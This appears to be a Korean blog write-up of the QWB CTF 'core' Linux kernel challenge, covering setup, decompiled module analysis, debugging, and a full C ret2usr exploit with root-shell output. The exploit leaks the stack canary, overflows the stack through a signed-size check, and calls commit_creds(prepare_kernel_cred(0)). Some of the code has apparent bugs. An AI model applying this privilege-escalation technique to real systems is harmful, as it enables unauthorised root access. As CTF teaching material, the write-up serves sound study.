본문으로 바로가기

Kernel (8) - QWB CTF core write-up ( Return To User )

Contents

  • Setting

  • Analysis

  • PoC / Exploit scenario

  • Debugging

  • Exploit

  • Shell

  • Reference


Setting

Linux kernel UAF ( babydriver write-up )에서 진행한 환경설정과 거의 유사하다.

다만 이번 문제는 환경설정하기가 좀 친절하게 잘되어있다.

core_give.tar.gz이라는 파일 하나를 주는데, 요걸 해제하면 give_to_player 렉토리가 생긴다.

그리고 아래와 같은 파일들을 준다.


  • bzImage - 커널 이미지

  • core.cpio - 파일시스템

  • start.sh - qemu부팅용 쉘스크립트

  • vmlinux - 디버깅용 심볼

필요한건 다 있고, 취약점을 찾을 커널 모듈만 찾으면 되는데, 파일시스템 압축을 풀어주면 된다.

나는 binwalk -e core.cpio해서 나온 파일을 다시 binwalk -e로 압축을 풀어줬다.

그러면 파일 시스템이 풀리고, 추가로 gen_cpio.sh를 준다.


# gen_cpio.sh

find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

보아하니 첫번째 인자를 넘겨주면 그 파일을 포함해서 다시 cpio파일을 만들어주는 듯 하다.

익스코드짜고 편하게 익스할 수 있을 듯 하다.


qemu를 시작해서 부팅하려면 ./start.sh를 입력해서 start.sh를 실행하면 된다.

# start.sh 

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

보호기법은 quiet kaslr를 보아 kaslr만 활성화 되어있는듯 하다.

만약 start.sh를 실행해서 부팅이 안되면, -m 64M-m 256M으로 바꿔보자.

메모리 할당을 더해주면 부팅이 수월할 수 있다.

또한, 커널 디버깅을 위해 -s옵션을 줄껀데, 파일 시스템이 로드된 후에 gdb가 설치되므로 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ 아래부분에 -s 옵션을 주어야 오류가 나지 않는다.


Analysis

init_module()

__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);           // core create /proc/core entry
return 0LL;
}

지금까지 풀었던 문제들은 드라이버를 /dev에 만들었지만, 이번 문제는 /proc에 생성한다.

원래 create_proc_entry라는 함수가 주로 사용되었지만, 이 함수가 삭제되었고 proc_create라는 함수가 만들어져 이 함수를 사용하면 /proc디렉토리에 파일을 만들 수 있다.

모듈 이름이 init_module인것을 보아 이 함수는 모듈이 실행될 때 실행되는 함수이며, /proc 디렉토리에 드라이버를 생성하는 함수임을 알 수 있다.


exit_core()

__int64 exit_core()
{
     __int64 result; // rax

     if ( core_proc )
       result = remove_proc_entry("core");
     return result;
}

모듈이 종료될 때 실행되는 함수이며, /proc에 생성된 /proc/core를 제거시키는 함수이다.


core_ioctl()

__int64 __fastcall core_ioctl(__int64 fd, int command, __int64 buf)
{
     __int64 offset; // rbx

     offset = buf;
     switch ( command )
    {
       case 0x6677889B:
         core_read(buf);
         break;
       case 0x6677889C:
         printk(&unk_2CD);               // printk("core : ", core);
         off = offset;
         break;
       case 0x6677889A:
         printk(&unk_2B3);               // core called | core copy
         core_copy_func(offset);
         break;
    }
     return 0LL;
}

user space에서 3가지의 command를 통하여 모듈 내의 원하는 함수를 실행할 수 있다.


core_read()

unsigned __int64 __fastcall core_read(__int64 buf)
{
     __int64 v1; // rbx
     __int64 *v2; // rdi
     signed __int64 i; // rcx
     unsigned __int64 result; // rax
     __int64 v5; // [rsp+0h] [rbp-50h]
     unsigned __int64 canary; // [rsp+40h] [rbp-10h]

     v1 = buf;
     canary = __readgsqword(0x28u);
     printk(&unk_25B);               // core called | core read
     printk(&unk_275);             // %d %p
     v2 = &v5;
     for ( i = 16LL; i; --i )
    {
       *v2 = 0;
       v2 = (v2 + 4);
    }
     strcpy(&v5, "Welcome to the QWB CTF challenge.\n");
     result = copy_to_user(v1, &v5 + off, 64LL);
     if ( !result )
       return __readgsqword(0x28u) ^ canary;
     __asm { swapgs }
     return result;
}

for문을 돌며 버퍼를 NULL로 초기화 시켜준다.

그리고 bufWelcome to the QWB CTF challenge.라는 문자열을 넣는다.

copy_to_user에서는 buf + off의 주소부터 user_space로 복사해온다.


마지막으로 inline asm으로 swapgs해주는데, 이는 MSR_GS_BASE레지스터의 값을 MSRKernelGSbase(C0000102H)값과 교환하는 명령어이다.

이 명령을 왜 사용하는지 계속 찾아보았는데, General Protection Fault에러를 막기 위해서 사용하는 듯 하다.

이 에러는 커널이나 사용자 프로그램에서 실행되는 코드에 의해서 발생하는데, 엑세스 위반에 의해서 발생한다고 한다.


액세스 위반에 대해서 자세히 말하면 아래와 같은 두가지 이유가 있다.

아래 코드는 /linux/v4.4/source/arch/x86/entry/entry_64.S#L919에서 가져왔다.

/*
* Hypervisor uses this for application faults while it executes.
* We get here for two reasons:
* 1. Fault while reloading DS, ES, FS or GS
* 2. Fault while executing IRET
* Category 1 we do not need to fix up as Xen has already reloaded all segment
* registers that could be reloaded and zeroed the others.
* Category 2 we fix up by killing the current process. We cannot use the
* normal Linux return path in this case because if we use the IRET hypercall
* to pop the stack frame we end up in an infinite loop of failsafe callbacks.
* We distinguish between categories by comparing each saved segment register
* with its current contents: any discrepancy means we in category 1.
*/
  • DS,ES,FS,GS를 다시 로드하는중 오류가 발생하였다.

  • IRET 실행중 오류가 발생하였다.

GS register와 swapgs에 관한 자세한 정보에 대해서는 아래 Reference를 참조하자.

core_read함수에서 kernel spaceuser space간의 데이터 전달 과정에서 GS레지스터를 로드하는 중 오류가 발생하고, 이를 해결하기 위해서 swapgs어셈블리 명령을 추가하였음을 추측할 수 있다.


core_write()

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
     unsigned __int64 v3; // rbx

     v3 = a3;
     printk(&unk_215);            // core called | core writend
     if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
       return v3;
     printk(&unk_230);            // core error copying data from user space
     return 0xFFFFFFF2LL;
}

모듈의 전역변수 name에 데이터를 쓰는 함수이다.


PoC / Exploit scenario

일단 core_read함수를 실행시키는 코드를 작성해보자.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>

#define CORE_READ 0x6677889B
#define CORE_OFFSET 0x6677889C
#define CORE_COPY 0x6677889A

int main(void)
{
    int fd = open("/proc/core",O_RDWR);
    if(fd == NULL)
    {
    printf("[-] Open /proc/core error!\n");
    exit(1);
    }
    printf("[+] Open /proc/core!\n");

    char buf[0x100];
    ioctl(fd,CORE_READ,buf);

    printf("[+] buf : %s\n",buf);

    return 0;
}

/ $ ./solve
[+] Open /proc/core!
[+] buf : Welcome to the QWB CTF challenge.

기능이 잘 작동하는것을 확인할 수 있다.

어쨌든 기능도 잘 작동하겠다, 대충 익스플로잇 계획을 한번 짜보자.

일단 항상 그러했듯이 우린 commit_cred(prepare_kernel_cred(0))를 실행시켜야 한다.

전에 익스했던 문제처럼 힙에서 발생하는 취약점도 없어보인다.

그래서 일단 오버플로우 여부를 확인하려고 한다.


core_read함수는 단순히 읽기만 해주는 함수이고, core_write는 단순히 name지역변수에 쓰기만 해주는 함수이다.

따라서 취약점이 발생할만한 벡터는 core_copy_func뿐이다.


signed __int64 __fastcall core_copy_func(signed __int64 offset)
{
 signed __int64 result; // rax
 __int64 user_buf; // [rsp+0h] [rbp-50h]
 unsigned __int64 canary; // [rsp+40h] [rbp-10h]

 canary = __readgsqword(0x28u);
 printk(&unk_215);                             // core called | core writen
 if ( offset > 63 )
{
   printk(&unk_2A1);                           // Detect Overflow
   result = 0xFFFFFFFFLL;
}
 else
{
   result = 0LL;
   qmemcpy(&user_buf, &name, (unsigned __int16)offset);
}
 return result;
}

if문으로 offset의 사이즈를 검사해서 오버플로우를 막는것 처럼 보인다.

하지만 signed __int64으로 offset을 가져온다.

따라서 0xf000000000000000와 같은 값을 넘기면 integer overflow가 발생한다.

즉, qmemcpy를 실행 할 수 있다.


마지막으로, qmemcpy할때 unsigned __int16자료형을 사용한다.

즉, 오버플로우를 내서 RIP를 변조시킬 수 있다.

이제 카나리만 쓱쓱 읽으면 된다.


읽어서 출력해주는 함수는 core_read밖에 없다.

여기서 copy_to_user(user_space, &buf_address + off, 0x40LL); 할 때 off를 더하는 것을 볼 수 있다.

그리고 우리는 core_ioctl을 통하여 off를 설정할 수 있다.

그럼 buf_address위쪽의 버퍼도 출력할 수 있다.

즉, canary leak이 가능해진다.

buf_address; // [rsp+0h] [rbp-50h]이고..

unsigned __int64 canary; // [rsp+40h] [rbp-10h]이므로 offset0x10으로 주고, 카나리와 거리 계산을 하면 된다.


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>

#define CORE_READ 0x6677889B
#define CORE_OFFSET 0x6677889C
#define CORE_COPY 0x6677889A

int main(void)
{
    int fd = open("/proc/core",O_RDWR);
    if(fd == NULL)
    {
        printf("[-] Open /proc/core error!\n");
       exit(1);
    }
    printf("[+] Open /proc/core!\n");

    char buf[0x100];
    char canary[0x8];

    ioctl(fd,CORE_OFFSET,0x10);
    ioctl(fd,CORE_READ,buf);

    memcpy(canary,buf+0x30,8);
    printf("[+] canary leak finish!\n");
    printf("[+] canary is : ");
   
    for(int i = 0;i < 8;i++)
        printf("%02x ",canary[i] & 0xff);
    printf("\n");
   
    return 0;
}

코드를 돌려보자!


/ $ ./solve
[+] Open /proc/core!
[+] canary leak finish!
[+] canary is : 00 cc ed a1 31 9c 56 35

카나리같이 생긴게 나오긴 했다.

커널 디버깅을 통해 이친구가 진짜 카나리가 맞는지 확인해보겠다.


gdb-peda$ i r rax
rax           0x35569c31a1edcc00 0x35569c31a1edcc00

값이 똑같은것을 확인할 수 있다.

디버깅 과정은 아래 Debugging에서 확인하자!


이제 /tmp/kallsyms를 (원래 /proc에 있는데 여기는 /tmp에 있다.) 읽어 preare_kernel_credcommit_creds함수의 주소를 가져오면 된다.


unsigned long get_symbols(char *str)
{
   FILE *stream;
   char fbuf[256];
   char addr[32];

   stream = fopen("/tmp/kallsyms","r");
   if(stream < 0)
  {
       printf("failed to open /proc/kallsyms\n");
       return 0;
  }

   memset(fbuf,0x00,sizeof(fbuf));
while(fgets(fbuf,256,stream) != NULL)
{
   char *p = fbuf;
   char *a = addr;

   if(strlen(fbuf) == 0)
       continue;

   memset(addr,0x00,sizeof(addr));
   fbuf[strlen(fbuf)-1] = '\0';

   while(*p != ' ')
       *a++ = *p++;

   p += 3;
   if(!strcmp(p,str))
       return strtoul(addr, NULL, 16);
}
}

str을 인자로 넘기면 해당 함수의 주소를 반환해주는 코드를 가져왔다.

이제 ROP도 가능하고 canary도 구했고 마지막 하나만 남았다.

그건 바로 trap frame을 구성하는 일이다.


우리는 지금 커널에서 디바이스에 직접 접근하여 커널 영역을 사용함을 생각하자.

User-space에서 Kernel-space로 이동하게 되면 사용하게 되는 stack pointer들이 달라지며, Kernel-space에서 User-space로 이동 할 경우에도 stack pointer에 대한 복원이 필요하다.

프레임을 복원하지 않으면 ROP를 해도 kernelland에서 userland로 이동할때 stack pointer가 변경되면서 segmentation fault가 발생할것이다.

스택 프레임은 아래와 같은 layout을 가지고 있다.


EIPRIP
CSCS
EFLAGSEFLAGS
ESPRSP
SSSS

위의 표처럼 사이즈에 맞게 구조체를 선언해준다.


struct trapframe 
{
   void *user_rip ;        // instruction pointer
   uint64_t user_cs ;      // code segment
   uint64_t user_rflags ;  // CPU flags
   void *user_rsp ;        // stack pointer
   uint64_t user_ss ;      // stack segment
} tf;

이제, 어셈블리 코드를 이용하여 stack layout에 필요한 레지스터의 값을 tf구조체에 저장하는 함수를 구현한다.


void shell()
{
   printf("[+] Get shell.\n");
   system("/bin/sh");
}

void root()
{
   commit_creds(prepare_kernel_cred(0));
   asm("swapgs;"
       "mov %%rsp, %0;"
       "iretq;"
  : : "r" (&tf));
}

void set_trapframe()
{
asm("mov tf+8, cs;"
  "pushf; pop tf+16;"
  "mov tf+24, rsp;"
  "mov tf+32, ss;"
  );
tf.user_rip = &shell ;
   printf("[+] Finish made trap frame.\n");
}


Debugging

익스플로잇에 앞서, 디버깅 과정을 설명해보겠다.

디버깅에 필요한 준비물은 아래와 같다.

  • 부팅 쉘 스크립트에 -s옵션 붙히기

  • vmlinux파일 구해두기 (문제에서는 주어짐)

  • 터미널 하나 더띄워두기

  • 파일 시스템 안에 있는 init파일 수정하기

    • .text의 주소를 구하기 위함


다른건 다른 글에서도 설명했으니 마지막 init파일 수정 부분을 다뤄보겠다.

juntae@ubuntu:~/kernel/core/give_to_player/file_system$ ls -al init
-rwxrwxr-x 1 juntae juntae 625 Oct 27 08:39 init

이 파일은 쉘스크립트다.


#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh

echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

setsid /bin/cttyhack setuidgid 1000 /bin/sh요기 부분에서 10000으로 바꾼다.

그럼 root로 부팅할 수 있다.

또한, 자동 종료 시간을 설정해주는 poweroff부분을 대충 3000정도 넣어준다.


#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 3000 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh

echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

이렇게 설정해두고 부팅하자.


/ # id
uid=0(root) gid=0(root) groups=0(root)

보다싶이 루트쉘이다.


이제 /sys/module/core/sections로 이동한다.

/sys/module/core/sections # ls -al
total 0
drwxr-xr-x    2 root     root             0 Oct 27 16:49 .
drwxr-xr-x    5 root     root             0 Oct 27 16:49 ..
-r--------    1 root     root          4096 Oct 27 16:50 .bss
-r--------    1 root     root          4096 Oct 27 16:50 .data
-r--------    1 root     root          4096 Oct 27 16:50 .exit.text
-r--------    1 root     root          4096 Oct 27 16:50 .gnu.linkonce.this_module
-r--------    1 root     root          4096 Oct 27 16:50 .init.text
-r--------    1 root     root          4096 Oct 27 16:50 .note.gnu.build-id
-r--------    1 root     root          4096 Oct 27 16:50 .orc_unwind
-r--------    1 root     root          4096 Oct 27 16:50 .orc_unwind_ip
-r--------    1 root     root          4096 Oct 27 16:50 .rodata.str1.1
-r--------    1 root     root          4096 Oct 27 16:50 .strtab
-r--------    1 root     root          4096 Oct 27 16:50 .symtab
-r--------    1 root     root          4096 Oct 27 16:50 .text

그리고 .text파일을 읽는다.

해당 부분이 코드 영역의 심볼을 전부 담고있기 때문에 이를 통해서 디버깅 할 수 있다.

또한, 이 파일이 root권한이기때문에 root쉘로 부팅한 것이다.


/sys/module/core/sections # cat .text
0xffffffffc02ef000

이제 이렇게 얻은 주소를 이용하여 디버깅을 하면 된다.

일단 터미널을 하나 더 열고 gdb vmlinux를 해서 vmlinux를 인자로 gdb를 실행한다.

그리고 add-symbol-file <module_path> <base_address>를 입력한다.

나는 add-symbol-file /home/juntae/kernel/core/give_to_player/file_system/core.ko 0xffffffffc02ef000를 입력하였다.


그리고, target remote:1234를 입력한다.

이러면 커널에 디버거를 붙힌 상태가 되어 continue명령을 입력하기 전까지 어떠한 명령어도 입력할 수 없다.

gdb-peda$ target remote:1234
Remote debugging using :1234
Warning: not running or target is remote
0xffffffff9fe6e7d2 in ?? ()
gdb-peda$ b*core_read
Breakpoint 1 at 0xffffffffc02ef063
gdb-peda$ c
Continuing.

이제 원하는 함수에 break point를 걸고 디버깅을 하면 된다.


Exploit

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>

#define CORE_READ 0x6677889B
#define CORE_OFFSET 0x6677889C
#define CORE_COPY 0x6677889A

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

struct trap_frame
{
   void *user_rip;        // instruction pointer
   uint64_t user_cs;      // code segment
   uint64_t user_rflags;  // CPU flags
   void *user_rsp;        // stack pointer
   uint64_t user_ss;      // stack segment
} __attribute__((packed));
struct trap_frame tf;

void shell()
{
   printf("[+] Get shell.\n");
   execl("/bin/sh","sh",NULL);
}

void set_trapframe()
{
   asm("mov tf+8, cs;"
       "pushf; pop tf+16;"
       "mov tf+24, rsp;"
       "mov tf+32, ss;"
      );
   tf.user_rip = &shell;
   printf("[+] Finish made trap frame.\n");
}

void root()
{
   commit_creds(prepare_kernel_cred(0));
   asm("swapgs;"
       "mov %%rsp, %0;"
       "iretq;"
  : : "r" (&tf));
}

unsigned long get_symbols(const char *str)
{
   FILE *stream;
   char fbuf[256];
   char addr[32];

   stream = fopen("/tmp/kallsyms","r");
   if(stream < 0)
  {
       printf("[-] Failed to open /proc/kallsyms\n");
       exit(1);
  }

   memset(fbuf,0x00,sizeof(fbuf));
while(fgets(fbuf,256,stream) != NULL)
{
   char *p = fbuf;
   char *a = addr;

   if(strlen(fbuf) == 0)
       continue;

   memset(addr,0x00,sizeof(addr));
   fbuf[strlen(fbuf)-1] = '\0';

   while(*p != ' ')
       *a++ = *p++;

   p += 3;
   if(!strcmp(p,str))
       return strtoul(addr, NULL, 16);
}
}

int main(void)
{
int fd = open("/proc/core",O_RDWR);
if(fd == NULL)
{
printf("[-] Failed to open /proc/core error!\n");
exit(1);
}
printf("[+] Open /proc/core!\n");

char buf[0x100];
char canary[0x8];

ioctl(fd,CORE_OFFSET,0x10);
ioctl(fd,CORE_READ,buf);

memcpy(canary,buf+0x30,8);
printf("[+] canary : ");
   
for(int i = 0;i < 8;i++)
printf("%02x ",canary[i] & 0xff);
printf("\n");
   
   commit_creds = get_symbols("commit_creds");
prepare_kernel_cred = get_symbols("prepare_kernel_cred");

   printf("[+] commit_creds : 0x%lx\n",commit_creds);
   printf("[+] prepare_kernel_cred : 0x%lx\n",prepare_kernel_cred);

   char rop[0x100];

   memset(rop,"A",0x40);
   memcpy(rop+0x40,canary,8);
   memset(rop+0x48,"A",8);
   *(void**)(rop+0x50) = &root;
   memset(rop+0x58,"A",8);
   set_trapframe();

   write(fd,rop,0x58);
   ioctl(fd,CORE_COPY, 0xffffffffffff0000 | sizeof(rop));

return 0;
}

root함수에서 swapgs명령을 사용한 이유는 위에서 설명한 내용과 같다.

익스코드는 위 시나리오를 바탕으로 작성했다.

https://kernel.bz/blogPost/kernel_gcc_attr

위 링크는 __attribute__((regparm(3))) 에 대한 설명이다.


Shell

/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./solve
[+] Open /proc/core!
[+] canary : 00 c8 a4 c5 be 1a cb f1
[+] commit_creds : 0xffffffff8369c8e0
[+] prepare_kernel_cred : 0xffffffff8369cce0
[+] Finish made trap frame.
[+] Get shell.
/ # id
uid=0(root) gid=0(root)

모든 과정이 정상적으로 이루어져 루트쉘을 획득하였다.


Reference